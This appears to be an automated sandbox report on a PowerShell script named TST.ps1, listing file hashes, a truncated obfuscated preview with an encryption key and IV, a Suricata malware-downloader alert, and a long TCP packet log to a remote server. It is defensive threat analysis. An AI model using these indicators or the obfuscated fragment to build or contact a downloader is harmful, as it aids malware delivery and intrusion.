File type:	ASCII text, with very long lines (530), with CRLF line terminators
Entropy (8bit):	6.08338960277344
TrID:
File name:	TST.ps1
File size:	4'920 bytes
MD5:	34261ad4c802d025f6ead9dd56634860
SHA1:	45e6e38e7b2f9b9d3529ede907cf40e4f5ab7c3e
SHA256:	27bd8666cfbd715fe61a6b97294c7f4f6b15e61aefc65ebe91a77e4d5c8e74fa
SHA512:	a5cf78da66614b253ebfb9ceae273f05084f76b29afaf91d9f07ecee2190454b5ae688652be978f8b68213ba436b85d66d71c88d94a4507ca131e0c90838f598
SSDEEP:	96:aZmxGUY5oPhvPFUY/D4hvPwDyDXhvPSu9IR9IX:w2B7D4BIDyDXBKasO
TLSH:	8AA10984A93BEEC445701247FB304582E111445ADDAEDE2A32498EA0B7F45DC3E6D3DD
File Content Preview:	..$A5eUDXTXaEAjiEridexFqTO2mvdFGzhrIylKEl4eCdnJSHDVAFrzg8ChQL8HjNQbVIajTherJTDM5FJesQEBIiKawDtsNXuoVMnK = 'jZuPdP3wSxxsVqvXQ4Cur8sPstmOvoHdMO0BQ6rl7YQ='..$iv = 'MFdiLAlXoNndGefij/e4xg=='..$6TDT0ApX4qLLCuO2IP2dxAnQnlemZPpTSzH8NlbItnFFsiqTI1fHkJM66m5eWCyPAs

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-25T14:49:33.017016+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49711	147.45.44.131	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 14:49:31.900059938 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:31.927983046 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:31.928425074 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:31.928517103 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:31.953541040 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:32.616590977 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:32.616890907 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:32.616905928 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:32.616976023 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:32.618818998 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:32.618838072 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:32.618977070 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:32.618995905 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:32.619010925 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:32.619029045 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:32.619039059 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:32.619071007 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:32.620333910 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:32.620352030 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:32.620413065 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:32.621844053 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:32.622096062 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:32.622147083 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:32.622705936 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:32.666033030 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:32.769733906 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:32.820904970 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:32.826102018 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.016813993 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.016874075 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.016911030 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.017015934 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.017900944 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.017936945 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.017968893 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.019264936 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.019299984 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.019316912 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.021210909 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.021250010 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.021275997 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.022618055 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.022667885 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.022674084 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.022713900 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.022756100 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.023935080 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.023968935 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.024012089 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.025547981 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.025583029 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.025625944 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.026550055 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.026585102 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.026628017 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.027889013 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.027923107 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.027952909 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.027966022 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.028940916 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.028975964 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.028987885 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.072298050 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.131880999 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.132441044 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.132481098 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.132492065 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.133436918 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.133471966 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.133486032 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.134989023 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.135025978 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.135039091 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.136964083 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.137001991 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.137021065 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.138420105 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.138475895 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.138475895 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.140474081 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.140511990 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.140527964 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.140543938 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.140583038 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.142126083 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.142138958 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.142184973 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.142839909 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.142853022 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.142904997 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.143978119 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.143990040 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.144022942 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.144195080 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.144205093 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.144213915 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.144238949 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.144836903 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.144849062 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.144876003 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.145620108 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.145631075 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.145656109 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.146694899 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.146707058 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.146733999 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.147942066 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.147960901 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.147990942 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.149250031 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.149261951 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.149271965 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.149291039 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.149380922 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.150574923 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.150588036 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.150671005 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.152339935 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.152353048 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.152400970 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.154248953 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.154262066 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.154299974 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.155610085 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.155622005 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.155632019 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.155663013 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.157085896 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.157099962 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.157135010 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.212888956 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.227150917 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.227840900 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.227859020 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.228008032 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.229573965 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.229588985 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.229636908 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.230994940 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.231009007 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.231065035 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.232635975 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.232650042 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.232681990 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.234170914 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.234184980 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.234222889 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.235682964 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.235697031 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.235729933 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.236972094 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.236984968 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.236995935 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.237030983 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.237045050 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.238006115 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.238018036 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.238059044 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.239518881 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.239531994 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.239569902 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.240761995 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.240775108 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.240818024 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.241729021 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.241765976 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.241776943 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.241811037 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.243519068 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.243534088 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.243582010 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.245357037 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.245371103 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.245429039 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.247193098 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.247209072 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.247251034 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.249360085 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.249372959 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.249422073 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.251009941 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.251024008 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.251034975 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.251070023 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.251085997 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.253515005 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.253529072 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.253576040 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.255354881 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.255367041 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.255409956 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.258126974 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.258141041 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.258187056 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.260317087 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.260329962 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.260339975 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.260374069 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.263173103 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.263185024 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.263240099 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.265677929 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.265691042 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.265768051 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.268863916 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.268876076 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.268919945 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.271682024 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.271693945 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.271733046 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.274744987 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.274755955 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.274765015 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.274797916 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.274816990 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.277853012 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.277865887 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.277935982 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.281248093 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.281260967 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.281311989 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.283896923 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.283907890 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.284002066 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.287731886 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.287744999 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.287754059 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.287786007 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.290177107 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.290189028 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.290240049 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.293354988 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.293366909 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.293436050 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.294852972 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.294866085 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.294904947 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.338044882 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.339458942 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.339812040 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.339823961 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.339858055 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.340926886 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.340939045 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.340981960 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.343930006 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.343943119 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.343980074 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.347127914 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.347141027 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.347151041 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.347172976 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.347193003 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.348113060 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.348124981 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.348166943 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.351699114 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.351710081 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.351718903 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.351764917 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.352080107 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.352092028 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.352121115 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.354168892 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.354180098 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.354190111 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.354213953 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.354232073 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.354562998 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.354578972 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.354679108 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.356765032 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.356775045 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.356822968 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.357393026 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.357403040 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.357446909 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.358757973 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.358768940 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.358778954 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.358804941 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.359230995 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.359241962 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.359272957 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.360553980 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.360564947 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.360609055 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.361716032 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.361727953 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.361763000 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.363188982 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.363202095 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.363244057 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.364854097 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.364866018 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.364876032 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.364907980 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.364924908 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.366014004 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.366025925 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.366065979 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.366863012 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.366874933 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.366940022 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.368138075 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.368149996 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.368225098 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.371418953 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.371439934 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.371458054 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.371470928 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.371481895 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.371490002 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.371519089 CEST	49711	80	192.168.2.6	147.45.44.131
